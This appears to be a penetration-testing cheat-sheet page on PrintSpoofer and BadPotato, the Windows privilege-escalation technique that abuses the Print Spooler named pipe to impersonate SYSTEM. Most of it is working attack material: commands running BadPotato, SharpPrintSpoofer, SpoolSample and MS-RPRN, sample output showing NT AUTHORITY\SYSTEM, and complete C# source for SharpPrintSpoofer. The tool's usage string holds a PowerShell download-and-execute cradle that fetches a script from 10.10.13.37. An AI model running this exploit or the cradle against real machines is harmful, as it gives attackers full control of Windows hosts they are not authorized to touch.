PrintSpoofer

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

Exploit:

PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\pwn.exe"

C# Implementation

Cmd > \SharpPrintSpoofer.exe \\.\pipe\test\pipe\spoolss cmd -i
Cmd > .\SpoolSample.exe srv01 srv01/pipe/test
Or
Cmd > .\MS-RPRN.exe \\srv01 \\srv01/pipe/test

[*] Named pipe \\.\pipe\test\pipe\spoolss listening...
[+] A client connected!
[+] Token impersonated!
  |  SID: S-1-5-18
  \_ Name: NT AUTHORITY\SYSTEM
[*] Executing command: cmd
SharpPrintSpoofer.cs
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;

namespace SharpPrintSpoofer
{
    class Program
    {
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public struct TOKEN_USER
        {
            public SID_AND_ATTRIBUTES User;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SID_AND_ATTRIBUTES
        {
            public IntPtr Sid;
            public int Attributes;
        }

        [DllImport("advapi32.dll")]
        static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, IntPtr SecurityDescriptorSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, ref SECURITY_ATTRIBUTES lpSecurityAttributes);

        [DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

        [DllImport("advapi32.dll")]
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentThread();

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetTokenInformation(IntPtr TokenHandle, uint tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int ReturnLength);

        [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool ConvertSidToStringSid(IntPtr Sid, out IntPtr StringSid);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);

        [DllImport("userenv.dll", SetLastError = true)]
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool RevertToSelf();

        [DllImport("kernel32.dll")]
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

        [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("Usage: SharpPrintSpoofer.exe <PIPENAME>\n\nExamples:\n\nSharpPrintSpoofer.exe \\\\.\\pipe\\test cmd -i\nSharpPrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss \"powershell -exec bypass -c iex(new-object net.webclient).downloadstring('http://10.10.13.37/run.txt')\"");
                return;
            }

            string pipeName = args[0];
            string execCommand = args[1];
            bool execInteractively = args.Length == 3 && args[2] == "-i" ? true : false;

            // Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
            ConvertStringSecurityDescriptorToSecurityDescriptor(
                "D:(A;OICI;GA;;;WD)",
                1,
                out sa.lpSecurityDescriptor,
                IntPtr.Zero);

            // Create the named pipe
            IntPtr hPipe = CreateNamedPipe(
                pipeName,
                3, // PIPE_ACCESS_DUPLEX
                0, // PIPE_TYPE_BYTE | PIPE_WAIT
                10,
                0x1000,
                0x1000,
                0,
                ref sa);

            // Start the named pipe server to listen for connections
            Console.WriteLine($"[*] Named pipe {pipeName} listening...");
            ConnectNamedPipe(hPipe, IntPtr.Zero);

            // When a client connects, impersonate his token
            Console.WriteLine("[+] A client connected!");
            ImpersonateNamedPipeClient(hPipe);

            // Open a handle for the impersonated token
            IntPtr hToken;
            OpenThreadToken(
                GetCurrentThread(),
                0xF01FF, // TOKEN_ALL_ACCESS
                false,
                out hToken);

            // BEGIN DEBUG (print impersonated token SID)
            int tokenInfLength = 0;
            GetTokenInformation(
                hToken,
                1, // TokenUser
                IntPtr.Zero,
                tokenInfLength,
                out tokenInfLength);

            IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);
            GetTokenInformation(
                hToken,
                1, // TokenUser
                tokenInformation,
                tokenInfLength,
                out tokenInfLength);

            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_USER));
            IntPtr pStringSid = IntPtr.Zero;
            ConvertSidToStringSid(TokenUser.User.Sid, out pStringSid);
            string stringSid = Marshal.PtrToStringAuto(pStringSid);
            Console.WriteLine($"[+] Token impersonated!\n  |  SID: {stringSid}");
            Marshal.FreeHGlobal(tokenInformation);
            // END DEBUG

            // Duplicate impersonated token (i.e., convert the impersonated token to a primary token for CreateProcessWithTokenW)
            IntPtr hSystemToken = IntPtr.Zero;
            DuplicateTokenEx(
                hToken,
                0xF01FF, // TOKEN_ALL_ACCESS
                IntPtr.Zero,
                2, // SecurityImpersonation
                1, // TokenPrimary
                out hSystemToken);

            String name = WindowsIdentity.GetCurrent().Name;
            Console.WriteLine($"  \\_ Name: {name}");

            // Revert to self to successfully CreateProcessWithTokenW
            RevertToSelf();

            // if not execInteractively
            uint dwLogonFlags = 0;
            uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
            IntPtr lpEnvironment = IntPtr.Zero;
            STARTUPINFO si = new STARTUPINFO();
            si.cb = Marshal.SizeOf(si);
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            if (execInteractively)
            {
                dwLogonFlags = 1; // LOGON_WITH_PROFILE
                dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
                CreateEnvironmentBlock(out lpEnvironment, hToken, false);
                si.lpDesktop = @"WinSta0\Default";
            }

            // Get the system directory
            //StringBuilder sbSystemDir = new StringBuilder(256);
            //GetSystemDirectory(sbSystemDir, 256);

            // Create a new process based on execCommand (binary and args) with the impersonated token
            Console.WriteLine($"[*] Executing command: {execCommand}");
            CreateProcessWithTokenW(
                hSystemToken,
                dwLogonFlags,
                null,
                execCommand,
                dwCreationFlags,
                lpEnvironment,
                null, // sbSystemDir.ToString(),
                ref si,
                out pi);
        }
    }
}

Last updated